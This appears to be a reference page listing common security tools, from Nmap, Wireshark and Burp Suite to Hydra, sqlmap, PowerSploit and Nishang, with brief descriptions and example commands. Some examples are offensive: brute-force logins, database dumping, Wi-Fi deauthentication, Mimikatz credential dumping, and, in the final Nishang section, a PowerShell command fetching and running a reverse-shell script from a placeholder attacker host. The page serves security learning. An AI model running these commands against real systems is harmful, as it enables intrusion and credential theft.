Discover essential tools for network scanning, vulnerability assessment, encryption and personal protection. This list includes both beginner-friendly and advanced tools like Nmap, Burp Suite, and Wireshark, widely used by cyber security professionals to test, secure, and optimize their systems. These tools are must-haves in any security toolkit, and are some of the most common and favorite tools to kickstart in both defensive and offensive security roles. For condensed and summarized cheat sheets for some of the tools below, please visit our Cheat Sheets page.
Network discovery and security auditing tool.
Types of scans and syntax examples:
Host scanning: nmap 192.168.1.1
Port scanning: nmap -p 1-65535 192.168.1.1
Network scanning / Ping Sweep: nmap -sn 192.168.1.0/24
Operating systems and architectures: nmap -O 192.168.1.1
Service/process enumeration: nmap -sV 192.168.1.1
Vulnerability and patches: nmap --script=vuln 192.168.1.1
Presence of firewalls: nmap -p 1-1024 --reason 192.168.1.1
An integrated platform and web proxy, designed for testing web applications.
Burp Suite is a comprehensive tool for web application security testing, commonly used to identify vulnerabilities such as SQL injections, cross-site scripting (XSS), and insecure authentication mechanisms. It allows users to intercept and modify HTTP/S requests, scan for weaknesses, and perform manual testing through its suite of tools, including a proxy, spider, and scanner. Burp Suite is widely utilized by penetration testers for both automated scanning and in-depth analysis of web applications.
Network protocol analyzer used to capture and analyze traffic.
Syntax examples:
ip.addr == 192.168.1.1 - displays all traffic to and from IP address 192.168.1.1, useful for isolating activity related to a specific host.
tcp.port == 80 - filters for TCP traffic on port 80, capturing HTTP traffic, which is helpful for analyzing web activity.
tcp.flags.syn == 1 && tcp.flags.ack == 0 - displays SYN packets, which are used to initiate TCP connections, making it useful for identifying port scans.
A framework for developing, testing, and executing POC exploits.
Syntax examples (SNMP Enumeration):
msfconsole
search snmp
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS <target-ip>
set RPORT <target-snmp-port> # 161
set COMMUNITY public
run
A suite of tools to assess the security of Wi-Fi networks.
Syntax examples:
airmon-ng - will switch the adapter mode to "monitor".
airodump-ng - will collect information from all nearby access-points.
aireplay-ng - will send de-authentication packets to disconnect computers from the WLAN.
aircrack - password cracker.
A web server scanner that identifies vulnerabilities and issues.
Syntax examples:
nikto -h http://example.com - Performs a basic scan of example.com to identify common vulnerabilities.
nikto -h http://example.com -p 8080 - Scans example.com on port 8080.
nikto -h http://example.com -o report.html -Format html - Scans example.com and saves the results in HTML format as report.html for easier report sharing and review.
A fast, flexible login cracker for brute force attacks.
Syntax examples:
hydra -l admin -P /path/to/passwords.txt ftp://example.com - Attempts to brute-force the FTP login for the user admin using passwords from the specified file.
hydra -L users.txt -p secret123 http-get://example.com/login - Uses the password secret123 to brute-force multiple usernames from users.txt against the specified HTTP GET login page.
A password-cracking tool for multiple platforms.
Syntax examples:
john --wordlist=passwords.txt --rules hashes.txt - This command runs John the Ripper using a specified wordlist and applies rules to modify the words in the list while cracking the hashes in hashes.txt.
john --incremental hashes.txt - This command uses the incremental mode to try every possible combination of characters to crack the hashes in myhashes.txt, which is useful for short or simple passwords.
An open-source tool for automated SQL injection detection and exploitation.
Syntax examples:
sqlmap -r request.req - Reads an HTTP request from request.req to check for SQL injection vulnerabilities.
sqlmap -r request.req -v3 --force-ssl --dbms mysql --batch - Reads from request.req, uses SSL, targets MySQL, and runs automatically with detailed output.
sqlmap -r request.req -v3 --delay=1 --batch --dump D <database> -T <table> -C - Reads from request.req, introduces a 1-second delay, and dumps specified columns from a given table in a database.
Comprehensive vulnerability scanning tools.
OpenVAS is an open-source vulnerability scanner that assesses the security posture of networked systems by identifying known vulnerabilities through comprehensive scanning and reporting features. It provides detailed reports on discovered vulnerabilities and offers remediation suggestions, helping organizations prioritize security measures. Nessus, a widely used commercial vulnerability assessment tool, functions similarly by scanning systems and networks to detect vulnerabilities, misconfigurations, and compliance issues. Both tools enable security professionals to proactively identify and mitigate risks, enhancing overall cybersecurity resilience.
An open-source password manager.
KeePass is a free and open-source password manager that securely stores and organizes passwords in an encrypted database. It allows users to generate strong, unique passwords for various accounts and automatically fill in login credentials in browsers and applications. With features like two-factor authentication and customizable password policies, KeePass enhances overall security. Its portability and cross-platform support make it an ideal choice for individuals and organizations looking to manage their passwords safely and efficiently.
Log-parsing tool that protects against brute-force attacks.
Fail2ban is an open-source intrusion prevention software that protects servers from malicious attacks by monitoring log files for suspicious activity. It automatically updates firewall rules to block IP addresses that exhibit behavior consistent with brute-force attacks or other forms of intrusion. By customizing the filters and actions, users can tailor Fail2ban to meet their specific security needs. This proactive approach helps maintain the integrity and availability of services by reducing the risk of unauthorized access.
A leading patch management and vulnerability scanner.
InsightVM is a vulnerability management solution that provides continuous visibility into security risks across networks and endpoints. It allows organizations to assess their vulnerability landscape with real-time data, prioritize remediation efforts, and integrate seamlessly with existing security tools. With customizable dashboards and reporting features, users can track vulnerability trends and compliance status over time. InsightVM empowers security teams to make informed decisions, enhancing their overall security posture.
A popular reverse engineering tool developed by the NSA for analyzing and decompiling software binaries.
Ghidra is a powerful open-source software reverse engineering tool developed by the NSA that enables analysts to analyze compiled code for various architectures. It provides a rich graphical interface for disassembling, decompiling, and analyzing binaries, making it easier to understand complex software systems. Ghidra supports scripting in multiple languages, including Python and Java, allowing users to automate tasks and extend functionality. To get started with Ghidra, you can run it using the command ghidraRun in the terminal after navigating to the Ghidra installation directory.
A tool for testing web APIs, providing an intuitive interface to create, send, and monitor API requests.
Postman is a powerful API development tool that facilitates the design, testing, and documentation of APIs through its intuitive interface. It allows users to send various types of HTTP requests, manage environments, and automate testing with pre-request and test scripts using JavaScript syntax. By enabling the storage and retrieval of variables, Postman streamlines workflows and enhances collaboration among team members. Additionally, its robust testing capabilities allow for easy validation of API responses, ensuring reliability and consistency in development.
An advanced malware analysis system capable of isolating malware in a virtualized environment to study its behavior.
Cuckoo Sandbox is an automated malware analysis system that enables users to dissect and understand the behavior of suspicious files in a controlled environment. It operates by executing potentially malicious software in an isolated virtual machine and monitoring its activities, such as file system changes, network traffic, and system calls. Users can generate comprehensive reports detailing the malware's behavior, making it easier to identify and mitigate threats. Cuckoo Sandbox supports a wide range of file types and offers extensive customization options for tailored analysis environments.
A leading forensic analysis tool for digital investigations, used to recover deleted files, analyze disk images, and perform deep system-level analysis.
Autopsy is an open-source digital forensics platform designed for analyzing and investigating hard drives and smartphones. It provides a user-friendly interface for forensic investigators to recover files, analyze disk images, and perform timeline analysis of user activity.
Command line usage examples:
autopsy -c <case_name> -d <case_dir> - Creates a new case.
autopsy -a <case_name> <image_file> - Adds a disk image to an existing case.
Mobile Security Framework (MobSF) for testing the security of Android and iOS apps through static and dynamic analysis.
MobSF (Mobile Security Framework) is an open-source automated security analysis tool for mobile applications, supporting both Android and iOS platforms. It performs static and dynamic analysis, allowing security professionals to assess the security posture of mobile apps, identify vulnerabilities, and ensure compliance with security best practices.
Command line usage examples:
python manage.py runserver - Start the MobSF server.
python manage.py upload -f <apk_file> - Analyze an APK file.
python manage.py static_analyze -f <apk_file> - Generates a static analysis report.
A high-speed web fuzzer used for discovering hidden directories, files, and parameters in web applications and APIs, aiding in security testing and reconnaissance.
ffuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go, designed for discovering vulnerabilities in web applications through brute-force attacks on endpoints, parameters, and files. It supports various input types, including wordlists, and can perform recursive directory scanning, making it useful for uncovering hidden resources and files on a target server.
Command line usage examples:
ffuf -u http://example.com/FUZZ -w /path/to/wordlist.txt -recursion - Recursive directory scanning.
ffuf -u http://example.com/FUZZ -w /path/to/wordlist.txt -fc 404 - Filter results based on response code.
An automated wireless hacking tool for auditing Wi-Fi networks, capable of detecting weak encryption or vulnerabilities in nearby networks.
Wifite is a powerful automated tool for cracking Wi-Fi networks that utilizes various techniques to capture WPA and WPA2 handshakes, making it particularly effective for pentesters and security enthusiasts.
Command line usage examples:
wifite -b <BSSID> --dict /path/to/wordlist.txt - Target a specific network by its BSSID while using a custom wordlist.
wifite --wpa --deauth 10 - Deauthentication attack on WPA handshakes with a specified delay between attacks.
A tool for Active Directory environment security, used for visualizing and analyzing attack paths and privilege escalation routes.
tool used for Active Directory (AD) enumeration and analysis, enabling security professionals to visualize and assess potential attack paths within AD environments. It collects data from the network and presents it in a graph format, allowing users to identify relationships and permissions between users, groups, and computers. This helps in pinpointing misconfigurations and weaknesses that could be exploited by attackers. BloodHound can be used in both red teaming and blue teaming exercises to enhance overall security posture.
A powerful and versatile PowerShell toolkit designed for penetration testing and exploitation.
PowerSploit is a collection of PowerShell scripts designed for penetration testing and red teaming within Windows environments. It offers a range of modules that facilitate tasks such as reconnaissance, privilege escalation, and post-exploitation, allowing security professionals to automate and streamline their testing processes.
Command Line Examples:
Import-Module .\PowerSploit\Privesc\PowerUp.ps1; Invoke-AllChecks - Run a PowerSploit script for privilege escalation.
Invoke-MimiKatz -DumpCreds - Credential dumping using Mimikatz.
A suite of advanced system utilities from Microsoft that provides powerful tools for monitoring, troubleshooting, and analyzing Windows systems.
Sysinternals is a suite of advanced system utilities designed for Windows operating systems, providing tools that help with troubleshooting, system monitoring, and performance analysis. These tools can be used to gain insights into system behavior, diagnose performance issues, and manage system resources effectively. Sysinternals includes popular utilities such as Process Explorer, Autoruns, and PsExec, which are essential for system administrators and security professionals to analyze and control Windows environments. By leveraging Sysinternals, users can delve deep into the inner workings of their systems to enhance security and optimize performance.
A framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
Nishang is a PowerShell-based framework designed for penetration testing and security assessments, featuring a collection of scripts and payloads that aid in various aspects of offensive security. It can be utilized to perform tasks such as information gathering, exploitation, and post-exploitation, making it a versatile tool for penetration testers and red teamers. Nishang allows users to craft custom payloads for Windows environments, facilitating operations like remote code execution and command-and-control (C2) communications. With its ease of use and powerful capabilities, Nishang is an essential toolkit for ethical hackers looking to exploit Windows systems.
Command Line Examples:
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://attackerIP:port/reverse.ps1')" - Launches a reverse shell to a specified IP and port.
Invoke-PowerShellTcp -Reverse -IPAddress <ip> -Port <port> - Executes a command on a remote machine.